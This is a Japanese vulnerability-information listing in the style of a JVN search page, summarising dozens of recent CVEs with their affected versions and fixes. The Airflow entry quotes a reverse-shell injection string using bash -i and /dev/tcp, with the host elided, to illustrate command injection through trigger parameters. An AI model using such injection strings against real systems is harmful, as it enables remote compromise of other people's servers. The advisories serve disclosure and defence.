脆弱性情報（JVN）検索・一覧

Apache Airflowの公式ドキュメントのcore-concepts/dag-run.html（「Dagsトリガー時のパラメータ渡し」）において、引用符やサニタイズの警告なしに、そのままの形でBashOperator(bash_command="echo value: {{dag_run.conf['conf1']}}")という例が示されていました。このパターンを、影響を受けるDagに対してユーザーがDag.can_trigger権限を持つ環境（典型的なマルチチーム環境やトリガーAPIを公開するホスティング環境）にそのままコピーした場合、トリガーAPIのconfフィールドを介したシェルのメタ文字列インジェクションに晒される可能性がありました。このため、認証されたトリガーユーザーがconf値として"; bash -i & /dev/tcp/.../9999 0&1; #"を渡すことで、ワーカー上でos.execが実行されてしまう恐れがありました。本CVEはapache/airflowのPR64129におけるドキュメント修正を対象としており、ドキュメント例のパターンには明示的なシェル用の引用符付けと安全上の注意が追加されました。修正前のドキュメント例を元にしたDagコードを使用するデプロイメントに影響がありました。この問題は同種のドキュメントパターン修正の一環であり、ユーザーは修正済みドキュメントを含むapache-airflowバージョン3.2.2以降へのアップグレードを推奨します。

PostizはAIを活用したソーシャルメディアのスケジューリングツールです。コミットda44801以前には、Build and Publish PR Docker Imageワークフロー（.github/workflows/pr-docker-build.yml）に「Pwn Request」脆弱性が存在していました。この脆弱性により、認証されていないユーザーがDockerビルドプロセス中に任意のコードを実行し、高権限を持つGITHUB_TOKEN（すべて書き込み権限）を漏洩させることが可能でした。この攻撃は、マルウェアで改ざんされたDockerfile.devを含むフォークからプルリクエストを作成するだけで実行できます。この問題はコミットda44801によって修正されました。

jupyterlabは、Jupyter Notebookアーキテクチャに基づく、インタラクティブで再現可能な計算のための拡張可能な環境です。4.5.7未満のバージョンでは、JupyterLabのHTMLサニタイザはbutton要素に対してdata-commandlinker-commandおよびdata-commandlinker-argsを許可リストに含めていますが、CommandLinkerはdocument.body上のすべてのクリックイベントを監視し、要素が信頼されたJupyterLab UIからのものであるかどうかを確認せずに指定されたコマンドを実行します。事前に保存されたHTMLセル出力に不正なボタンが含まれているノートブックは、ユーザーがコードの実行を申請しなくても、単一のクリックで任意のJupyterLabコマンド（任意のコード実行を含む）をトリガーする可能性があります。この脆弱性は4.5.7で修正されています。

Linuxカーネルにおいて、以下の脆弱性が修正されました。net: ioam6に関する範囲外アクセス（OOB）および不足していたロックの修正です。trace-type.bit6が設定されている場合、is_inputがtrueのときにdev-_tx[]配列の範囲外アクセスが発生する可能性があります。パケットは受信パス上にあり、skb-queue_mappingはイングレスデバイスの受信キューのインデックスを示します。イングレスデバイスの受信キュー数がエグレスデバイス（dev）の送信キュー数より多い場合、skb_get_queue_mapping(skb)はdev-num_tx_queuesを超えることがあります。skb_get_tx_queue()はインデックスの制限を行わないため、この状況を防ぐためのチェックを追加しました。この問題はキューごとの可視性が正確でないことを明らかにし、将来的に新機能で置き換えられる予定です。また、qdisc_qstats_qlen_backlog()の周囲に不足していたロックも追加しました。__ioam6_fill_trace_data()関数はsoftirqとプロセスコンテキストの両方から呼び出されるため、ここでspin_lock_bh()を使用しています。

MailEnable Enterprise Premium 10.55およびそれ以前のバージョンには、WebAdminモバイルポータルに不適切な認証許可の脆弱性があります。この脆弱性により、攻撃者は低権限ユーザー向けに生成されたAuthenticationTokenクッキーを再利用して認証チェックを回避できます。攻撃者はPersistentLoginパラメーターを使用してWebMailログインエンドポイントからトークンを取得し、それをWebAdminポータルに対してリプレイし、高度な権限を持つ管理操作を実行できます。

Sambaの印刷サブシステムに欠陥が見つかりました。Sambaは「print command」設定で構成されたコマンドに対し、クライアントが制御するジョブ説明文字列を「%J」置換文字を通じてシェルのメタ文字をエスケープせずに渡します。遠隔の攻撃者は、エスケープされていないシェル文字を含む特別に細工された印刷ジョブ説明を送信することで、この脆弱性を悪用できます。これにより、影響を受けるシステムでリモートコードが実行される恐れがあります。

Apache Solr のバージョン9.4.0から9.10.1および10.0.0において、Basic Authentication 設定ツール（bin/solr auth enable）にハードコードされた認証情報が存在します。このため、リモートの攻撃者がユーザー指定のアカウントを使い、公開されている既知のデフォルト認証情報を利用してクラスタに対して完全な管理アクセスを取得する可能性があります。すぐに対処するためには、アップグレードをしなくてもsecurity.jsonからテンプレートユーザー（superadmin、admin、search、index）を削除するか、パスワードを変更してください。将来リリースされるバージョン9.11.0および10.1.0ではこの脆弱性が修正されており、アップグレードするだけで問題が解決します。影響を受けない場合は、bin/solr auth enableを使用してBasicAuthをブートストラップしていないクラスタ、またはブートストラップ後にテンプレートユーザーに強力なパスワードが設定されているクラスタです。

Portainer Community Editionは、Docker、Swarm、Kubernetes、およびACI環境を管理するために使用できるコンテナ化アプリケーション向けの軽量なサービス配信プラットフォームです。バージョン2.33.0から2.33.8未満、2.39.2、および2.41.0までのPortainerは、Gitリポジトリからスタックをデプロイすることをサポートしています。Gitバックのスタックが作成または更新されると、Portainerはgo-git v5を使用してリポジトリをクローンしますが、この際、モード0o120000（シンボリックリンク）のGitブロブエントリを、os.Symlinkを介してホストファイルシステム上の実際のOSシンボリックリンクに変換します。.gitmodulesだけがシンボリックリンクになることをブロックされますが、他のすべてのパスは検証なしにシンボリックリンクとして作成されます。PortainerのGET /api/stacks/{id}/fileエンドポイントはその後、os.ReadFileを使ってスタックのエントリポイントを読み取り、これはOSのシンボリックリンクを透過的に辿ります。docker-compose.ymlを任意のファイルシステムパスへのシンボリックリンクとして含むリポジトリは、そのシンボリックリンクのターゲットの内容がHTTPレスポンスでそのまま返される原因となります。Gitバックのスタックを作成または更新する権限を持つ認証済みユーザー（Portainer CEのデフォルト設定）は、Portainerプロセスがアクセス可能な任意のファイルを読み取ることができます。この脆弱性はバージョン2.33.8、2.39.2、および2.41.0で修正されています。

cpp-httplibは、C++11で書かれた単一ファイルのヘッダーオンリーでクロスプラットフォーム対応のHTTP/HTTPSライブラリです。バージョン0.44.0以前では、cpp-httplibのサーバーが受信リクエストを解析する際に、LocationおよびRefererを除くすべてのヘッダー値に対してパーセントデコードを適用していました。妥当性チェック（is_field_value）はデコード前に実行されるため、エンコードされた%0D%0Aがチェックを通過し、その後格納されるヘッダー値内で実際の改行コードに展開されてしまう脆弱性がありました。この問題はバージョン0.44.0で修正されました。

FreeRDPはリモートデスクトッププロトコルの無料実装です。バージョン3.26.0以前のFreeRDPのプラナービットマップデコーダーには、RLEプラナーデータのデコード時にヒープの境界外書き込みが発生する脆弱性が存在します。libfreerdp/codec/planar.c内のfreerdp_bitmap_decompress_planar()関数は、呼び出し元が提供する宛先ストライド(nDstStep)に対してX方向の宛先座標nXDstを検証していますが、内部の一時バッファpTempDataに書き込む際にも同様の検証を行っています。このチェックは大きなnDstStepと大きなnXDstを使うことで回避可能であり、その結果planar_decompress_plane_rle()がpTempDataの末尾を越えて書き込んでしまいます。この脆弱性はバージョン3.26.0で修正されました。

FreePBXはオープンソースのIP PBXです。バージョン15.0.42から16.0.45未満および17.0.7までの間において、管理者がUCPを有効化した際に初期のテンプレート資格情報を直ちに変更しなかった場合、認証されていないユーザーがハードコードされた初期テンプレートの資格情報を使用してユーザーコントロールパネル（UCP）にアクセスできる可能性があります。UCP一般テンプレートの初期設定にはACPへの認証済みアクセスが必要です。しかし、その後管理者が追加の対策を講じない場合、認証されていないユーザーがアクセスを得る可能性があります。この脆弱性は16.0.45および17.0.7で修正されています。

Samsung Open Source Escargot における Use after free の脆弱性により、ポインタ操作が可能になる問題があります。この問題は Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3 に影響を与えます。

Samsung Open Source Escargotにおけるヒープベースのバッファオーバーフロー脆弱性により、バッファオーバーフローが発生する可能性があります。この問題はEscargotのバージョン590345cc6258317c5da850d846ce6baaf2afc2d3に影響を与えます。

Samsung Open Source Escargotにおける境界外書き込み脆弱性により、バッファオーバーフローが発生する可能性があります。この脆弱性はEscargotのバージョン590345cc6258317c5da850d846ce6baaf2afc2d3に影響を与えます。

IBM Langflow OSS 1.0.0から1.9.1までのバージョンには、アーカイブ展開中のシンボリックリンクの不適切な検証により、リモートでコードが実行される可能性があります。

Synology BeeStation OS 1.3.2-65648より前のAdminCenterには、入力サイズの検査を行わないバッファコピー（いわゆる「古典的なバッファオーバーフロー」）の脆弱性があります。この脆弱性により、リモートの攻撃者が特定されていないベクターを介して任意のコードを実行できる可能性があります。

Twigのバージョン2.16.xおよび3.9.0から3.25.xには、SourcePolicyInterfaceを使用する際にサンドボックスをバイパスする脆弱性があります。この脆弱性により、テンプレートレンダリング機能を持つ攻撃者が任意のPHPコーラブルをsort、filter、map、およびreduceフィルターに渡すことが可能になります。攻撃者は現在のテンプレートソースを使用しないランタイムチェックを悪用し、サンドボックスがグローバルではなくソースポリシーを通じて有効になっている場合にサンドボックス制限を回避して任意のコードを実行できます。

InHand NetworksのIR302ファームウェアV3.5.108、IR305ファームウェアV1.0.118、IR315ファームウェアV1.0.118、IR615ファームウェアV1.0.118およびそれ以前のバージョンには、管理者アクセス機能にコマンドインジェクションの脆弱性が存在します。この脆弱性を悪用した攻撃者は、リモートの対象デバイスでROOT権限を取得できます。

InHand NetworksのIR302ファームウェアV3.5.108、IR305ファームウェアV1.0.118、IR315ファームウェアV1.0.118、IR615ファームウェアV1.0.118およびそれ以前のバージョンのZeroTier VPN機能にはコマンドインジェクションの脆弱性が存在します。攻撃者はこの脆弱性を悪用することで、リモートのターゲットデバイスでROOT権限を取得できます。

InHand NetworksのIR302ファームウェアV3.5.108、IR305ファームウェアV1.0.118、IR315ファームウェアV1.0.118、IR615ファームウェアV1.0.118およびそれ以前のバージョンのWireGuard VPN機能にコマンドインジェクションの脆弱性があります。この脆弱性を悪用することで、攻撃者はリモートのターゲットデバイスでROOT権限を取得できます。

InHand NetworksのIR302ファームウェアV3.5.108、IR305ファームウェアV1.0.118、IR315ファームウェアV1.0.118、IR615ファームウェアV1.0.118およびそれ以前のバージョンのIPSec VPN機能にはコマンドインジェクションの脆弱性が存在します。この脆弱性を悪用することで、攻撃者はリモートの対象デバイス上でROOT権限を取得可能です。

OpenAMP v2025.10.0 の ELF ローダーには、ファームウェアイメージの解析において整数オーバーフローの脆弱性が存在します。elf_loader.c では、ELF ヘッダーから取得した攻撃者が制御する2つの16ビット値の乗算をオーバーフロー検査なしに実行しています。32ビット組み込みシステム（STM32MP1、Zynq、i.MX）では、大きな値によって積が小さな値に巻き戻ってしまう可能性があります。

ToASCII関数とToUnicode関数は、ASCIIのみのラベルにデコードされるPunycodeエンコードされたラベルを誤って受け入れます。たとえば、ToUnicode("xn--example-.com")は誤って名前"example.com"を返し、エラーを返しません。この動作は、idnaパッケージを使用するプログラムで特権昇格を引き起こす可能性があります。たとえば、プログラムがASCIIホスト名に基づいて特権をチェックし、「example.com」を拒否しつつ「xn--example-.com」を許可する場合、その後ASCIIホスト名をUnicodeに変換すると、意図せずUnicode名の"example.com"へのアクセスを許可してしまいます。

Wishはデフォルト設定および複数のミドルウェアを備えたSSHサーバーです。バージョン2.0.0から2.0.1の前のバージョンにおいて、charm.land/wish/v2のSCPミドルウェアにパストラバーサル攻撃の脆弱性が存在します。悪意のあるSCPクライアントは、SCPプロトコル経由で../シーケンスを含む細工されたファイル名を送信することで、サーバーから任意のファイルを読み取ったり、サーバーに任意のファイルを書き込んだり、設定されたルートディレクトリの外にディレクトリを作成したりすることが可能です。この問題はバージョン2.0.1で修正されました。

i18nextifyは、ソースコードを変更せずにスクリプトタグを通じてウェブサイトの国際化を追加できるJavaScriptライブラリです。バージョン3.0.5以前では、lngおよびnsの値をエンコード、検証、またはパスのサニタイズを行わずに、設定されたloadPathやaddPathのURLテンプレートに直接補間していました。アプリケーションが言語コードの選択をユーザーの入力に任せている場合（デフォルトでは、i18next-browser-languagedetectorが?lng=クエリパラメータ、クッキー、localStorage、リクエストヘッダーを参照します）、攻撃者は送信されるリクエストURLの構造を変更する文字を注入できます。これは単一のURLインジェクションの脆弱性です。攻撃者が制御する値は、出力されるURL文字列の一部として使用される前に無害化されます。攻撃の手法はパストラバーサルおよびより広範なURL構造のインジェクションの両方を含みますが、いずれもinterpolateUrlのサニタイズ修正によって解決されました。この問題はバージョン3.0.5で修正されています。すぐにアップグレードできないユーザーは、i18nextに到達する前にlngやnsをサニタイズすることで回避可能です（具体的には「..」、「/」、「?」、「#」、「%」、空白、制御文字を除去し、文字数を制限してください）。

OpenLearnXはオープンソースの分散型学習および評価プラットフォームです。バージョン2.0.3以前では、OpenLearnXのコード実行環境にリモートコード実行（RCE）の脆弱性が存在し、サンドボックスを脱出し任意のコマンドを実行できました。この問題はバージョン2.0.3で修正されています。

Oracle E-Business SuiteのOracle iAssets製品（コンポーネント：Internal Operations）に脆弱性があります。影響を受けるサポート対象バージョンは12.2.3から12.2.15までです。HTTP経由でネットワークアクセスを持つ権限の低い攻撃者が容易に悪用できる脆弱性であり、Oracle iAssetsが侵害される可能性があります。この脆弱性はOracle iAssetsに存在しますが、攻撃は他の製品にも大きな影響を与えることがあります（適用範囲の変更を含みます）。この脆弱性を悪用した攻撃が成功すると、Oracle iAssetsの制御が奪取される可能性があります。CVSS 3.1基本スコアは9.9で、機密性、完全性、可用性に影響があります。CVSSベクターは(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)です。

Palo Alto Networks PAN-OSソフトウェアのGlobalProtectポータルおよびゲートウェイにおいて、認証バイパスの脆弱性が存在します。この脆弱性により、攻撃者はセキュリティ制限を回避して不正なVPN接続を確立できる可能性があります。PanoramaおよびCloud NGFWはこれらの問題の影響を受けません。

Oracle Hospitality ApplicationsのOracle Hospitality OPERA 5 Property Services製品（コンポーネント：Opera）に存在する脆弱性について説明します。影響を受けるサポート対象バージョンは5.6.19.24、5.6.22、5.6.25.19、5.6.27.6、5.6.28です。認証されていない攻撃者がHTTP経由のネットワークアクセスを利用して悪用しやすい脆弱性であり、この脆弱性によりOracle Hospitality OPERA 5 Property Servicesが危険にさらされる可能性があります。この脆弱性を悪用した攻撃が成功すると、Oracle Hospitality OPERA 5 Property Servicesの乗っ取りが引き起こされる可能性があります。CVSS 3.1基本スコアは9.8（機密性、完全性、可用性に影響します）。CVSSベクターは次の通りです：（CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）。

IBM Engineering Lifecycle Management 7.0.3、7.1.0、および7.2.0には、認証されていないリモート攻撃者がサーバーのプロパティファイルを更新できる脆弱性があります。その結果、アプリケーションへの不正アクセスが許可されてしまいます。

Linuxカーネルのdentry_hashtableにおいて、バケットの最小数が2に制限されていなかったため、dhash_entriesを1に設定すると範囲外読み取り（OOB）が発生する問題がありました。この問題は、ハッシュ計算時に割り当てられていないメモリ領域にアクセスすることが原因であり、カーネルモードでページフォールトを引き起こす可能性がありました。本修正では、バケット数を2以上に制限して範囲外アクセスを防止し、この脆弱性を解消しました。

DozzleはDockerコンテナのリアルタイムログビューアです。バージョン10.5.2以前では、/execおよび/attachエンドポイントのWebSocketアップグレーダーがCheckOrigin: func(r *http.Request) bool {return true}を使用しており、あらゆるオリジンからのアップグレードリクエストを受け入れていました。これはSameSite: Laxを使用するJWTクッキーと組み合わさることで、クロスサイトWebSocketハイジャック（CSWSH）を可能にしていました。攻撃者は同一サイトオリジン（例：兄弟サブドメインやlocalhost上の別サービス）でホストするページから、被害者の有効なJWTクッキーを伴うexecエンドポイントへのWebSocket接続を開始し、被害者がアクセス権を持つ任意のコンテナで対話型シェルアクセスを得ることができます。この脆弱性はバージョン10.5.2で修正されました。

Oracle E-Business SuiteのOracle Universal Work Queue製品（コンポーネント：Work Provider Site Level Administration）における脆弱性です。影響を受けるサポート対象バージョンは12.2.3から12.2.15までです。HTTP経由でネットワークアクセスを持つ権限の低い攻撃者が簡単に悪用できる脆弱性により、Oracle Universal Work Queueが侵害される可能性があります。この脆弱性はOracle Universal Work Queueに存在し、攻撃は追加の製品に大きな影響を与える可能性があります（範囲の変更）。本脆弱性の攻撃が成功すると、Oracle Universal Work Queueが乗っ取られる可能性があります。CVSS 3.1の基本スコアは9.9（機密性、完全性、可用性に影響）です。CVSSベクターは次の通りです：(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)。

IBM Aspera HSTS for CP4I バージョン 1.5.1 から 1.5.19 にかけて脆弱性が存在します。

認証されていないリモートの攻撃者がDIAViewプロジェクト内で構成されたデータベースにアクセスできてしまう、緩和策のバイパスや不完全な修正による脆弱性が存在します。

Google Chromeのバージョン148.0.7778.216より前に存在したDawnのUse after freeの脆弱性により、リモートの攻撃者が細工されたHTMLページを利用してサンドボックスから脱出できる可能性がありました。

Google Chrome のバージョン 148.0.7778.216 より前の拡張機能における Use after free の脆弱性により、リモートの攻撃者が細工された Chrome 拡張機能を使ってレンダラープロセスを侵害し、サンドボックスから脱出する可能性がありました。

不適切なアクセスチェックにより、com_configのウェブサービスエンドポイントに不正アクセスが可能となる。

リモートエージェントにキーを追加する際、restrict-destination-v00@openssh.com のような制約拡張がリクエストにシリアライズされていませんでした。そのため、キー転送時に宛先制限が静かに除去され、リモートホストでキーを無制限に使用できる状態でした。現在、クライアントはすべての制約拡張をシリアライズします。さらに、NewKeyring() によって返されるインメモリのキーリングは、サポートされていない制約拡張を持つキーを静かに無視するのではなく、拒否するようになりました。

NewKeyring()によって返されるインメモリのキーリングは、ConfirmBeforeUse制約を持つキーを黙って受け入れていましたが、その制約を強制しませんでした。そのキーは確認プロンプトなしで署名を行い、制約が適用されていないことを呼び出し元に示しませんでした。現在、NewKeyring()はサポートされていない制約が要求された場合にエラーを返します。